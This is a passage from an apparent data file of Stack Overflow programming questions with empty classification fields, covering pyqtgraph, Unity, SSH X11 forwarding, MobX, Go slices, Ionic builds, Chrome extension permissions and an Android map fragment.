self.mask = self.x &gt; 1e-15\n self.x = self.x[self.mask]\n self.y = self.y[self.mask]\n self.plot(self.x, self.y, pen='g', symbol='o', symbolPen='g', symbolSize=1))\n\n# a class for the second plot to be displayed underneath the first via \n# QVBoxLayout\n\nclass CustomPlot1(pg.GraphicsObject):\n def __init__(self):\n pg.GraphicsObject.__init__(self)\n self.x = np.random.normal(size=1000) * 1e-5 #\n self.y = self.x * 750 + 0.005 * np.random.normal(size=1000)\n self.y -= self.y.min() - 1.0\n self.mask = self.x &gt; 1e-15\n self.x = self.x[self.mask]\n self.y = self.y[self.mask]\n self.plot(self.x, self.y, pen='g', symbol='t', symbolPen='g', symbolSize=1)\n\n# The top container/widget for the graphs\nclass Window(QWidget):\n def __init__(self):\n super().__init__()\n self.initUI() # call the UI set up\n\n # set up the UI\n def initUI(self):\n\n self.layout = QVBoxLayout(self) # create the layout\n self.guiplot = pg.PlotWidget() # create an instance of plotwidget 1\n self.guiplot1 = pg.PlotWidget() # create an instance of plotwidget 2\n self.pgcustom = CustomPlot() # class abstract both the classes\n self.pgcustom1 = CustomPlot1() # \"\" \"\" \"\"\n self.layout.addWidget(self.guiplot) # add the first plot widget to the layout\n self.guiplot.addItem(self.pgcustom) # now add the plotItem to the plot widget \n self.layout.addWidget(self.guiplot1) # add the second plot widget to the layout\n\n\n self.guiplot1.addItem(self.pgcustom1) # now add the plotItem to the plot widget \n self.show()\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n window = Window()\n sys.exit(app.exec_())\n</code></pre>\n\n<p><a href=\"https://i.stack.imgur.com/vB0cp.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/vB0cp.png\" alt=\"enter image description here\"></a></p>\n\n<p><a href=\"https://i.stack.imgur.com/nZf51.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/nZf51.png\" alt=\"enter image description here\"></a></p>\n\n<p>Should I class PlotWidget instead GraphicsObject?</p>\n"},{"Classification":"","Title":"Current code to generate array filled with unique ints crashes","Body":"<p>(this is a library)<br>\nThe function GetUniqueInt is being called with (5, 5) as the variables.<br>\nCurrently the code will stall unity to a complete halt, or crash my PC with a memory overflow error.<br>\nDoes anyone have any ideas as to how I could prevent it from crashing or what is making it crash?</p>\n\n<pre><code>using UnityEngine;\n\nnamespace MajorSolution\n{\n public static class MajorMath\n {\n public static int[] GetUniqueInt(int intCount, int intLength)\n {\n int[] returnValue = new int[intCount];\n int[] temp = new int[intLength];\n for (int a = 0; a &lt; intCount; a++)\n {\n string create = new string(\"create\".ToCharArray());\n switch (create)\n {\n case \"create\":\n returnValue[a] = GetRandomInt(intCount);\n goto case \"check\";\n case \"check\":\n bool alreadyTaken = false;\n for (int c = 0; c &lt; returnValue.Length - 1; c++)\n {\n if (returnValue[a] == returnValue[c])\n {\n // Already Taken!\n alreadyTaken = true;\n }\n }\n if (!alreadyTaken)\n {\n break;\n }\n else\n {\n goto case \"create\";\n }\n }\n }\n Debug.Log(returnValue);\n return returnValue;\n }\n\n public static int GetRandomInt(int intCount)\n {\n int[] storage = new int[intCount];\n int returnValue = 0;\n for (int i = 0; i &lt; intCount; i++)\n {\n storage[i] = (Mathf.FloorToInt(Random.Range(0, 9)) * (int)Mathf.Pow(10,i));\n returnValue += storage[i];\n }\n return returnValue;\n }\n }\n}\n</code></pre>\n"},{"Classification":"","Title":"X11 Forwarding for non-root user not working","Body":"<p><a href=\"https://askubuntu.com/q/1029909/128912\">Cross-Posted</a></p>\n\n<h2>Environmental Details</h2>\n\n<p>Relevant bits of server's /etc/ssh/sshd_config:</p>\n\n<pre><code>X11Forwarding yes\nX11DisplayOffset 10\nX11UseLocalhost no\n</code></pre>\n\n<p>Relevant bits of client's $HOME/.ssh/config:</p>\n\n<pre><code>Host *\n XAuthLocation /opt/X11/bin/xauth\n ForwardX11 yes\n ForwardX11Trusted yes\n</code></pre>\n\n<p>Using XQuartz on macOS High Sierra.</p>\n\n<h2>The Problem</h2>\n\n<p>I'm spinning up a vagrant Ubuntu 18.04 VM. I've added a second user outside of the <code>vagrant</code> user.</p>\n\n<pre><code>ssh -X vagrant@ubuntu-bionic xclock\n</code></pre>\n\n<p>I can get X11Forwarding to work when I login as the <code>vagrant</code> user. I cannot get X11Forwarding to work when I login as the <code>ops</code> user.</p>\n\n<pre><code>ssh -X ops@ubuntu-bionic xclock\n\nX11 forwarding request failed on channel 0\nError: Can't open display:\n</code></pre>\n\n<p>I want to be able to get it to work with the <code>ops</code> user. From the client, <code>$DISPLAY</code> has a value. When I login with <code>vagrant</code>, <code>$DISPLAY</code> has a value. When I login as <code>ops</code>, <code>$DISPLAY</code> is unset. If I set <code>$DISPLAY</code> to match what it is with the <code>vagrant</code> user, I get the same error:</p>\n\n<pre><code>Error: Can't open display: localhost:10.0\n</code></pre>\n\n<p>when <code>X11UseLocalhost yes</code></p>\n\n<pre><code>Error: Can't open display: ubuntu-bionic:10.0\n</code></pre>\n\n<p>when <code>X11UseLocalhost no</code></p>\n\n<p>If I login as <code>ops</code> and then <code>sudo su - vagrant</code>, <code>$DISPLAY</code> remains unset. If I login as <code>vagrant</code> and then <code>sudo su - ops</code>, <code>$DISPLAY</code> is inherited.</p>\n\n<p>What am I missing to get this to work? I've run <code>xhost +</code> in each user (including <code>sudo -s root xhost +</code>) and it still doesn't work.</p>\n\n<p>If I add <code>-vv</code> to my ssh commands, I see this message when connecting as <code>vagrant</code>:</p>\n\n<pre><code>X11 forwarding request accepted on channel 0\n</code></pre>\n\n<p>and as <code>ops</code>:</p>\n\n<pre><code>Remote: X11 forwarding disabled in user configuration file.\nX11 forwarding request failed on channel 0\n</code></pre>\n"},{"Classification":"","Title":"Custom Vim Write Function To Make a Backup Copy","Body":"<p>I want to create a write function in Vim that does the following:</p>\n\n<ul>\n<li>Copies the file before it was edited to a directory (lets call this back_up_before_last_change)</li>\n<li>Writes the new edits to the current file</li>\n<li>Copies the updated file to a directory (lets call this back_up)</li>\n</ul>\n\n<p>This way I could look an older change and if the file gets accidentally deleted I would always have a most recent backup. Would anyone know how to do this or recommend me some resource so I could figure it out for myself. Thank you</p>\n"},{"Classification":"","Title":"StackOverflowError at URLFetchServiceFactory.getURLFetchService().fetch","Body":"<p>My application uses this API from GAE:</p>\n\n<pre><code>URLFetchServiceFactory.getURLFetchService().fetch\n</code></pre>\n\n<p>Which works running on <code>devserver</code> but after 30 to 60 minutes (time varies) it starts throwing <code>StackOverflowError</code>.</p>\n\n<p>In what way that a call to <code>fetch</code> to a standard web URL could actually cause <code>URLFetchServiceFactory.getURLFetchService().fetch</code> to throw SO error. </p>\n\n<p>Here's the complete log: <a href=\"https://pastebin.com/WCcmXCH3\" rel=\"nofollow noreferrer\">https://pastebin.com/WCcmXCH3</a> (long)</p>\n"},{"Classification":"","Title":"Why do I have a horizontal scrollbar with css & html","Body":"<p>I've set up a simple flask based website with some html:</p>\n\n<pre><code>&lt;!DOCTYPE html&gt;\n&lt;html&gt;\n&lt;meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\"&gt;\n\n&lt;head&gt;\n&lt;link rel=\"stylesheet\" type=\"text/css\" href={{ url_for('static', filename='common.css') }}&gt;\n&lt;/head&gt;\n\n\n&lt;div id=\"main_div\"&gt;\n\n&lt;form action=\"/login\" method=\"post\"&gt;\n &lt;br&gt;\n &lt;input type=\"text\" name=\"user_name\" placeholder=\"Username\"&gt;\n &lt;br&gt;&lt;br&gt;\n &lt;input type=\"password\" name=\"password\" placeholder=\"Password\"&gt;\n &lt;br&gt;&lt;br&gt;\n &lt;input type=\"submit\" value=\"Login\" id=\"button\"&gt;\n&lt;/form&gt;\n\n&lt;/div&gt;\n\n&lt;/html&gt;\n</code></pre>\n\n<p>This is the accompanying css file:</p>\n\n<pre><code>#button {\n border: .0;\n background: lightgrey;\n font-size: large;\n color: grey;\n\n}\n\nhtml {\n margin: 0;\n padding:0;\n width: auto;\n}\n\nhead {\n background: green;\n}\n\n#main_div {\n height: 100vh;\n width: auto;\n padding:0;\n margin:0;\n background: transparent;\n}\n\n\nform {\n text-align: left;\n position: relative;\n top: 50vh;\n left: 50vw;\n }\n\np{\n text-align: left;\n position: relative;\n top: 50vh;\n left: 50vw;\n}\n</code></pre>\n\n<p>I'm trying to make the mobile friendly and am trying to avoid pixel based measurements. The problem is that in desktop mode I keep getting this horizontal scrollbar. I don't want to do just hide the scrollbar, I want to stay in the realm of the view port only. Any ideas as to what is going on? </p>\n"},{"Classification":"","Title":"SOAP UI: Comparing JSON Response Array with JDBC XMLresponse","Body":"<p>I have a REST service which will give a <strong>JSON response array</strong> as below and I want to compare the API response with the JDBC XML response to make sure the data is corrent in the API response</p>\n\n<p>[{ \"id\": 1, \"first_name\": \"George\", \"last_name\": \"Bluth\", \"avatar\": \"Test1\" },<br>\n{ \"id\": 2, \"first_name\": \"Janet\", \"last_name\": \"Weaver\", \"avatar\": \"Test2\" },<br>\n{ \"id\": 3, \"first_name\": \"Emma\", \"last_name\": \"Wong\", \"avatar\": \"Test3\" }]</p>\n\n<p>I have connected the respected data source in the same Test Step in SOAP UI. Here is my sample JDBC Response from the Data source in XML format</p>\n\n<pre><code>&lt;Results&gt;\n &lt;ResultSet FetchSize=\"10\"&gt;\n &lt;Row rowNumber=\"1\"&gt;\n &lt;id&gt;1&lt;/id&gt;\n &lt;first_name&gt;George&lt;/first_name&gt;\n &lt;last_name&gt;Bluth&lt;/last_name&gt;\n &lt;avatar&gt;Test1&lt;/avatar&gt;\n &lt;/Row&gt;\n &lt;Row rowNumber=\"2\"&gt;\n &lt;id&gt;1&lt;/id&gt;\n &lt;first_name&gt;Janet&lt;/first_name&gt;\n &lt;last_name&gt;Weaver&lt;/last_name&gt;\n &lt;avatar&gt;Test2&lt;/avatar&gt;'\n &lt;/Row&gt;\n .\n .\n .\n&lt;/Results&gt;\n</code></pre>\n\n<p>Can anyone tell me how to compare each objects in the array with the corresponding data source value.</p>\n\n<p>I tried make a groovy script to parse the JSON response to a variable using JsonSlurper. However, i am getting error </p>\n\n<p><strong>CODE:</strong></p>\n\n<pre><code>def responseContent = testRunner.testCase.testSteps[\"Neme fof the test step\"].testRequest.response.contentAsString\ndef Response = new JsonSlurper().parseText(responseContent)\nlog.info Code\n</code></pre>\n\n<blockquote>\n <p><strong>Error Message:</strong> Unable to determine the current character, it is not a string, number, array, or object The current character read is ''\n with an int value of 65279 Unable to determine the current character,\n it is not a string, number, array, or object line number 1 index\n number 0</p>\n</blockquote>\n"},{"Classification":"","Title":"Get first td value","Body":"<p>I'm new to Beautifulsoup and Python, trying to figure how to get the first th tag of an HTML page. Can someone tell me what is wrong with my code?</p>\n\n<p>HTML </p>\n\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\n<div class=\"snippet-code\">\n<pre class=\"snippet-code-html lang-html prettyprint-override\"><code>&lt;th width=\"10%\"&gt;1365 m&lt;/th&gt;\n&lt;th width=\"15%\"&gt;Rating 25-0&lt;/th&gt;\n&lt;th width=\"10%\"&gt;12h45&lt;/th&gt;</code></pre>\n</div>\n</div>\n</p>\n\n<p>I would like to retrieve only the first width which has value 1365. Below is my code </p>\n\n<pre><code>print('Track '+soup.findAll('th',{'width':'10%'})[3])\n</code></pre>\n\n<p>I tried <code>find('th',{'width':'10%'})[3])</code> but it is throwing indexbound exception. Any help?\nWith my code i'm getting the second th tag which is 12h45</p>\n"},{"Classification":"","Title":"itext7 PdfFormXObject Width","Body":"<p>I am able to successfully add an existing pdf into a new pdf document using PdfFormXObject. However when I try to add a width, it does not import at all. Thoughts?</p>\n\n<pre><code>PdfCanvas page3 = new PdfCanvas(pdf.GetPage(3));\nvar outlineDrawingSrc = new PdfDocument(new PdfReader(Server.MapPath(\"/Content/pdf/DataPackageTemplates/OutlineDrawings/Test.pdf\")));\nvar outlineDrawingPg = outlineDrawingSrc.GetFirstPage().CopyAsFormXObject(pdf);\npage3.AddXObject(outlineDrawingPg,100, 100, 500);\noutlineDrawingSrc.Close();\n</code></pre>\n"},{"Classification":"","Title":"Is there an awk equivalent of INT_MIN and INT_MAX?","Body":"<p>In C and Java, there are defined constants representing the maximum and minimum values an integer can hold.</p>\n\n<p>Are there such constants in <code>awk</code>? If so, what are their names?</p>\n\n<p>The <a href=\"https://www.gnu.org/software/gawk/manual/gawk.html#Arbitrary-Precision-Arithmetic\" rel=\"nofollow noreferrer\">awk manual</a> indicates that awk can support arbitrary precision integer arithmetic with <code>-M</code>, but I'd like to know about the bounds on integers when we do <em>not</em> specify <code>-M</code>.</p>\n"},{"Classification":"","Title":"How do I hide or collapse by default generated files on a phabricator diff?","Body":"<p>I've been using phabricator for some time now and I always find it hard to review code where there are many generated files as snapshots and files ending on 'test.jsx.snap' for example. </p>\n\n<p>I was looking for an option on .arcconfig to collapse files that match certain paths by default </p>\n"},{"Classification":"","Title":"How do you get an item from a mobx observable in a reactive manner?","Body":"<p>Let's assume there's a singleton <code>TodosStore</code> that looks something like this:</p>\n\n<pre><code>class TodosStore {\n @observable isLoading;\n @observable todos;\n\n @action.bound fetchTodos() {\n this.isLoading = true;\n return api.getTodos().then(todos =&gt; this.todos = todos)\n .finally(()=&gt;this.isLoading=false);\n }\n\n getTodoById(id) {\n return this.todos.find(todo =&gt; todo.id === id);\n }\n}\n</code></pre>\n\n<p>Let's also assume a single todo detail view that uses the URL for state, e.g. <code>/todos/123</code>.</p>\n\n<pre><code>@observer class TodoDetail extends React.Component {\n constructor(props){\n TodosStore.fetchTodos().then(\n this.todo = TodosStore.getTodoById(props.subscriptionId);\n );\n }\n render(){\n return (\n &lt;div&gt;\n {TodosStore.isLoading ?\n 'Loading, please wait...' :\n &lt;h1&gt;this.todo.text&lt;/h1&gt;\n }\n &lt;/div&gt;\n );\n }\n}\n</code></pre>\n\n<p>So, <code>this.todo</code> is obviously not reactive, so setting it will not re-run <code>render()</code>.<br>\nOne option is to create an <code>@observable todo;</code> in the view code, but I'd rather keep mobx helpers out of views.</p>\n\n<p>Is there a better way for doing this, please?</p>\n"},{"Classification":"","Title":"Warning: strlen() expects parameter 1 to be string, array given in /includes/functions/general.php on line 159","Body":"<p>I have this error:</p>\n\n<blockquote>\n <p>Warning: strlen() expects parameter 1 to be string, array given in /includes/functions/general.php on line 159</p>\n</blockquote>\n\n<p>in file:</p>\n\n<pre><code>function tep_get_all_get_params($exclude_array = '') {\n global $HTTP_GET_VARS;\n\n if (!is_array($exclude_array)) $exclude_array = array();\n\n $get_url = '';\n if (is_array($HTTP_GET_VARS) &amp;&amp; (sizeof($HTTP_GET_VARS) &gt; 0)) {\n reset($HTTP_GET_VARS);\n while (list($key, $value) = each($HTTP_GET_VARS)) {\n if ( (strlen($value) &gt; 0) &amp;&amp; ($key != tep_session_name()) &amp;&amp; ($key != 'error') &amp;&amp; (!in_array($key, $exclude_array)) &amp;&amp; ($key != 'x') &amp;&amp; ($key != 'y') ) { // THIS IS 159 LINE\n $get_url .= $key . '=' . rawurlencode(stripslashes($value)) . '&amp;';\n }\n }\n }\n\n return $get_url;\n }\n</code></pre>\n\n<p>Could someone help me with this?</p>\n"},{"Classification":"","Title":"How to modify slices using pointers","Body":"<p>Why isn't the slice being modified in the following code:</p>\n\n<pre><code>package pointers\n\nimport \"fmt\"\n\nfunc modifyObject(v *Vertex) {\n v.x = v.x * v.x\n v.y = v.y * v.y\n}\n\nfunc modifyArray(vertices *[]Vertex) {\n for _, v := range *vertices {\n v.x = v.x * v.x\n v.y = v.y * v.y\n }\n}\n\nfunc DemoPointersArray() {\n v := Vertex{2, 3}\n modifyObject(&amp;v)\n fmt.Println(\"Vertex modified successfully:\", v)\n\n v1 := Vertex{2, 3}\n v2 := Vertex{20, 30}\n vertices := []Vertex{v1, v2}\n modifyArray(&amp;vertices)\n fmt.Println(\"Vertices are NOT modified:\", vertices)\n}\n</code></pre>\n\n<p><em>Output:</em><br/>\nVertex modified successfully: {4 9}<br/>\nVertices are NOT modified: [{2 3} {20 30}]<br/></p>\n\n<p>How to modify them?</p>\n"},{"Classification":"","Title":"ui-grid 3.1.1 render content of table randomly","Body":"<p>I'm using ui-grid in version 3.1.1\nFacing the problem with rendering table. \nNot always but randomly table rendered without content after refreshing page data appears.\nI tried set auto resize, refreshing data using $timeout (<a href=\"https://stackoverflow.com/questions/37485045/angular-ui-grid-does-not-show-content-unless-browser-window-is-resized?rq=1\">Angular ui grid does not show content unless browser window is resized</a>) or increasing virtualizationThreshold.\nUnfortunately the problem still exists.</p>\n\n<p>Does anybody have any idea how to solve the issue?</p>\n"},{"Classification":"","Title":"Ionic build android conflict with google services version","Body":"<p>On running Ionic build android i am getting below error.</p>\n\n<p>I tried to change the version of google services as 9.0.0 but after running build the version is replaced with +.</p>\n\n<p>If this works i can release my app to the google store just stuck with this.</p>\n\n<p>Any help will be appreciated. Thank you.</p>\n\n<pre><code>Run with --stacktrace option to get the stack trace. Run with --info or -- \n debug option to get more log output.\n Total time: 2.265 secs\n Error: \n /Users/User1/Projects/MinuteFormsTabsIonic/platforms/android/gradlew: \n Command failed with exit code1 Error output:\n</code></pre>\n\n<p>FAILURE: Build failed with an exception.</p>\n\n<ul>\n<li><p>What went wrong:\nExecution failed for task ':processDebugGoogleServices'.</p>\n\n<blockquote>\n <p>Please fix the version conflict either by updating the version of the \n google-services plugin (information about thelatest version is \n available at <a href=\"https://bintray.com/android/android-\" rel=\"nofollow noreferrer\">https://bintray.com/android/android-</a> \n tools/com.google.gms.google-services/) or updatingthe version of \n com.google.android.gms to 9.0.0.</p>\n</blockquote></li>\n<li><p>Try:\nRun with --stacktrace option to get the stack trace. Run with --info or \n--debug option to get more log output.</p></li>\n</ul>\n\n<p>In Build.gradle file I have my dependencies like this</p>\n\n<pre><code>dependencies {\ncompile fileTree(dir: 'libs', include: '*.jar')\n// SUB-PROJECT DEPENDENCIES START\ndebugCompile(project(path: \"CordovaLib\", configuration: \"debug\"))\nreleaseCompile(project(path: \"CordovaLib\", configuration: \"release\"))\ncompile \"com.android.support:support-v4:24.1.1+\"\ncompile \"com.google.firebase:firebase-core:+\"\ncompile \"com.google.firebase:firebase-messaging:+\"\ncompile \"com.google.android.gms:play-services-auth:+\"\ncompile \"com.google.android.gms:play-services-identity:+\"\n// SUB-PROJECT DEPENDENCIES END\n}\n</code></pre>\n"},{"Classification":"","Title":"Deploying bot instances in AWS","Body":"<p>I have no experience with AWS or bot deployment for production, so I'm looking for some suggestions on best practices.</p>\n\n<p>The project is a simple Twitter automation bot written as a node.js application. Currently I am using Cloud9 in AWS to host it, but I feel this is likely not the most effective means.</p>\n\n<p>What I need:</p>\n\n<ul>\n<li>Ability to easily deploy the bot/codebase.</li>\n<li>Multiple instances so I can deploy a new instance for each user.</li>\n<li>Ease of access to logs and updates.</li>\n<li>Usage reporting.</li>\n<li>Ability to tie into a front end for users.</li>\n</ul>\n\n<p>I'd like to use AWS if possible to familiarize myself with the platform, but open to any suggestion that I can incorporate an easy workflow.</p>\n\n<p>Current workflow to deploy new bot:</p>\n\n<ol>\n<li>Create Cloud9 EC2 instance</li>\n<li>Install dependencies</li>\n<li>Git clone from repository</li>\n<li>Edit configuration with users' access keys</li>\n<li>Run bot from console</li>\n<li>Leave running in background</li>\n</ol>\n\n<p>This has been very easy thus far, but I just don't know if its practical. Appreciate any advice!</p>\n"},{"Classification":"","Title":"Is removing permissions going to cause the extension being disabled","Body":"<p>I used to have the v1 of the extension in the store with a set of permissions, when I published v2, I added two more permissions:</p>\n\n<ol>\n<li>A \"content_scripts\" field with a \"matches\" entry that matches all\nhosts using <a href=\"https://*/*\" rel=\"nofollow noreferrer\">https://*/*</a> </li>\n<li>A \"nativeMessaging\" permission</li>\n</ol>\n\n<p>These changes in v2 caused the extension being disabled and showed the following warning messages to users when they got the update:</p>\n\n<p>To re-enable it, accept the new permissions:</p>\n\n<ul>\n<li><p>Read and change all your data on the websites you visit</p></li>\n<li><p>Communicate with cooperating native applications</p></li>\n</ul>\n\n<p>The warning message have caused lots of the users to remove the extension, so I am considering to publish a new version v3 to remove the two newly added permissions. In v3 it has the same set of permissions with v1.</p>\n\n<p>My question is what will happen to users after I publish v3:</p>\n\n<ol>\n<li><p>For users who is still in v1 (haven't got the v2 update), will they still get the extension being disabled first?</p></li>\n<li><p>For users who have already accept v2's permission, will removing permissions cause the extension being disabled again?</p></li>\n<li><p>For users who is still having the v2 extension disabled (they didn't accept and didn't remove it), will publish v3 help enable the extension directly?</p></li>\n</ol>\n"},{"Classification":"","Title":"#N/A on Index Match Equation","Body":"<p>I am referencing a few sheets but here is my equation. The error is on the front end. I have the state Texas in sheet 1(2) in cell A2. I also have the state Texas in cell L11 on Sheet 1. I basically need the info from sheet 1(2) to come over to sheet 1 if the state in A2 = Texas. </p>\n\n<pre><code>=IF(L11='1. (2)'!$A$2,INDEX('1. (2)'!$C:$C,MATCH('1.'!$R13,'1. (2)'!$D:$D,0)),0)\n</code></pre>\n"},{"Classification":"","Title":"Javascript ES6 classes: how to send an event from one class to another","Body":"<p>The structure of my code is like a hub and spoke model, with most of my classes instantiated in a Main class that is the hub. In particular, I have a zoom method in the Main class that coordinates calling zoom methods in most of the other classes. In one of the spoke classes, let's call it Buttons, I create some buttons intended to trigger the zoom method in Main, with event listeners added. How might I use these buttons, created in Buttons, to call the zoom method in Main without importing all of Main into Buttons?</p>\n\n<p>Main.js looks something like this:</p>\n\n<pre><code>import Header from './Header.js';\nimport ImageStrip from './ImageStrip.js';\nimport AreaChart from './AreaChart.js';\nimport Buttons from './Buttons.js';\n\nclass Main {\n constructor() {\n this.header = new Header();\n this.imageStrip = new ImageStrip();\n this.areaChart = new AreaChart();\n this.buttons = new Buttons();\n }\n\n zoom(scale) {\n this.imageStrip.zoom(scale);\n this.areaChart.zoom(scale);\n }\n}\n</code></pre>\n\n<p>Buttons.js looks something like this:</p>\n\n<pre><code>class Buttons {\n constructor() {\n const els = document.querySelectorAll('.buttons');\n this.makeButtons(els);\n }\n\n makeButtons(buttons) {\n buttons.forEach((button) =&gt; {\n button.addEventListener('click', () =&gt; {\n ? call the zoom method in Main ?\n })\n })\n}\n\nexport default Buttons;\n</code></pre>\n"},{"Classification":"","Title":"can't take screenshots with pyscreenshot python3","Body":"<p>I am trying to follow a tutorial and this is the code:</p>\n\n<pre><code>import pyscreenshot as ImageGrab\nimport os,time\n\ndef screenGrab():\n box = ()\n im = ImageGrab.grab()\n im.save(os.getcwd() + '\\\\full_snap__' + str(int(time.time())) +'.png','PNG')\n im.show()\n\ndef main():\n screenGrab()\n\nif __name__ == '__main__':\n main()\n</code></pre>\n\n<p>I run the code but no screenshot shows or is saved. Thanks in advance for any help!</p>\n"},{"Classification":"","Title":"Why when I enter my map view it goes well. but when I go out I go back in, does the black screen go on?","Body":"<p>the problem is that, when I enter the app the first time, the map loads well, but when I change the screen, and return to the map, it already comes out in black. Do you have any idea why that happens?</p>\n\n<p>this is my code in c#</p>\n\n<pre><code>internal class DetailMapFragment : BaseFragment, IOnMapReadyCallback\n {\n public override int LayoutId =&gt; Resource.Layout.map_page;\n private GoogleMap GoogleMap;\n private SupportMapFragment _mapFragment;\n protected override void InitViews()\n {\n try\n {\n _mapFragment = (SupportMapFragment)Activity.SupportFragmentManager.FindFragmentById(Resource.Id.map);\n\n if (_mapFragment == null)\n {\n GoogleMapOptions mapOptions = new GoogleMapOptions()\n .InvokeMapType(GoogleMap.MapTypeNormal)\n .InvokeMapToolbarEnabled(true)\n .InvokeZoomControlsEnabled(false)\n .InvokeMaxZoomPreference(20)\n .InvokeCompassEnabled(true);\n\n FragmentTransaction fragTx = FragmentManager.BeginTransaction();\n _mapFragment = SupportMapFragment.NewInstance(mapOptions);\n fragTx.Add(Resource.Id.map, _mapFragment, \"map\");\n fragTx.Commit();\n _mapFragment.GetMapAsync(this);\n }\n }\n catch (System.Exception ex)\n {\n ex.Message.ToString();\n }\n }\n public void OnMapReady(GoogleMap googleMap)\n {\n this.GoogleMap = googleMap;\n }\n void IOnMapReadyCallback.OnMapReady(GoogleMap googleMap)\n {\n try\n {\n this.GoogleMap = googleMap;\n if (googleMap != null)\n {\n Point point = new Point\n {\n Latitude = -12.035247640454301,\n Longitude = -77.04317608510439,\n Marker = \"Perú\"\n };\n MarkerOptions marker = new MarkerOptions();\n // googleMap.AnimateCamera(CameraUpdateFactory.NewLatLng(new LatLng(-11.083271, -76.207374)));\n marker.SetPosition(new LatLng(point.Latitude, point.Longitude));\n marker.SetTitle(point.Marker);\n GoogleMap.AddMarker(marker);\n float zoomLevel = 16.0f; //This goes up to 21\n GoogleMap.MoveCamera(CameraUpdateFactory.NewLatLngZoom(new LatLng(-12.035247640454301, -77.04317608510439), zoomLevel));\n }\n }\n catch (System.Exception ex)\n {\n ex.Message.ToString();\n }\n }\n }\n</code></pre>\n\n<p>and my xml code:</p>\n\n<pre><code>&lt;?xml version=\"1.0\" encoding=\"utf-8\"?&gt;\n&lt;android.support.constraint.ConstraintLayout\n xmlns:android=\"http://schemas.android.com/apk/res/android\"\n xmlns:app=\"http://schemas.android.com/apk/res-auto\"\n android:layout_width=\"match_parent\"\n android:layout_height=\"match_parent\"\n android:background=\"@android:color/background_light\"\n android:padding=\"@dimen/activity_vertical_margin_small\"\n android:theme=\"@style/AppTheme.NoActionBar\"&gt;\n\n &lt;TextView\n android:id=\"@+id/lblTitle\"\n android:layout_width=\"wrap_content\"\n android:layout_height=\"wrap_content\"\n android:text=\"Retroexcavadora\"\n android:textColor=\"@color/black_text\"\n app:layout_constraintBottom_toTopOf=\"@+id/lblLocation\"\n app:layout_constraintEnd_toEndOf=\"parent\"\n app:layout_constraintStart_toStartOf=\"parent\"\n app:layout_constraintTop_toTopOf=\"parent\"\n /&gt;\n\n &lt;TextView\n android:id=\"@+id/lblLocation\"\n android:layout_width=\"wrap_content\"\n android:layout_height=\"wrap_content\"\n android:layout_marginTop=\"@dimen/activity_vertical_margin_small\"\n android:text=\"Odebreth | Lima, Perú\"\n app:layout_constraintBottom_toTopOf=\"@+id/lblDate\"\n app:layout_constraintEnd_toEndOf=\"parent\"\n app:layout_constraintStart_toStartOf=\"parent\"\n app:layout_constraintTop_toBottomOf=\"@+id/lblTitle\"\n /&gt;\n\n &lt;TextView\n android:id=\"@+id/lblDate\"\n android:layout_width=\"wrap_content\"\n android:layout_height=\"wrap_content\"\n android:layout_marginTop=\"@dimen/activity_vertical_margin\"\n android:text=\"23 Mar 2018\"\n android:textColor=\"@color/black_text\"\n app:layout_constraintBottom_toTopOf=\"@+id/lblDetail\"\n app:layout_constraintEnd_toEndOf=\"parent\"\n app:layout_constraintTop_toBottomOf=\"@+id/lblLocation\"\n /&gt;\n\n &lt;View\n android:id=\"@+id/divider\"\n android:layout_width=\"0dp\"\n android:layout_height=\"1dp\"\n android:background=\"@color/gray_text\"\n app:layout_constraintBottom_toTopOf=\"@+id/lblDetail\"\n app:layout_constraintEnd_toEndOf=\"parent\"\n app:layout_constraintStart_toStartOf=\"parent\"\n app:layout_constraintTop_toTopOf=\"@+id/lblDetail\"\n /&gt;\n\n &lt;TextView\n android:id=\"@+id/lblDetail\"\n android:layout_width=\"wrap_content\"\n android:layout_height=\"wrap_content\"\n android:text=\"Detalles\"\n android:textAllCaps=\"true\"\n android:textColor=\"@color/gray_text\"\n app:layout_constraintBottom_toTopOf=\"@+id/mapView\"\n app:layout_constraintStart_toStartOf=\"@+id/mapView\"\n app:layout_constraintTop_toBottomOf=\"@+id/lblDate\"\n /&gt;\n &lt;fragment xmlns:android=\"http://schemas.android.com/apk/res/android\"\n xmlns:app=\"http://schemas.android.com/apk/res-auto\"\n android:id=\"@+id/map\"\n android:layout_width=\"match_parent\"\n android:layout_height=\"match_parent\"\n class=\"com.google.android.gms.maps.MapFragment\"\n app:layout_constraintEnd_toEndOf=\"parent\"\n app:layout_constraintStart_toStartOf=\"parent\"\n app:layout_constraintTop_toBottomOf=\"@+id/lblDetail\"/&gt;\n /&gt;\n\n &lt;!--&lt;com.google.android.gms.maps.MapView\n android:id=\"@+id/mapView\"\n android:layout_width=\"0dp\"\n android:layout_height=\"120dp\"\n android:layout_marginTop=\"@dimen/activity_vertical_margin_small\"\n android:gravity=\"top|start\"\n android:text=\"@string/conditions\"\n android:textColor=\"@color/black_text\"\n app:layout_constraintEnd_toEndOf=\"parent\"\n app:layout_constraintStart_toStartOf=\"parent\"\n app:layout_constraintTop_toBottomOf=\"@+id/lblDetail\"/&gt;--&gt;\n\n &lt;RelativeLayout\n android:id=\"@+id/detailLayout\"\n android:layout_width=\"0dp\"\n android:layout_height=\"120dp\"\n android:background=\"@color/black_text\"\n android:padding=\"@dimen/activity_vertical_margin_small\"\n android:theme=\"@style/AppTheme.Inverse\"\n app:layout_constraintEnd_toEndOf=\"parent\"\n app:layout_constraintStart_toStartOf=\"parent\"\n app:layout_constraintTop_toBottomOf=\"@+id/mapView\"&gt;\n\n &lt;TextView\n android:id=\"@+id/lblSalary\"\n android:layout_width=\"wrap_content\"\n android:layout_height=\"wrap_content\"\n android:layout_alignParentStart=\"true\"\n android:layout_alignParentTop=\"true\"\n android:text=\"Salario\"/&gt;\n\n\n &lt;TextView\n android:layout_width=\"wrap_content\"\n android:layout_height=\"wrap_content\"\n android:layout_below=\"@id/lblSalary\"\n android:text=\"$26,000.00\"\n android:textAppearance=\"?android:attr/textAppearanceLarge\"/&gt;\n\n &lt;Button\n android:layout_width=\"wrap_content\"\n android:layout_height=\"wrap_content\"\n android:layout_alignParentEnd=\"true\"\n android:layout_centerVertical=\"true\"\n android:drawableLeft=\"@drawable/ic_send\"\n android:ems=\"10\"\n android:text=\"Enviar CV\"/&gt;\n\n 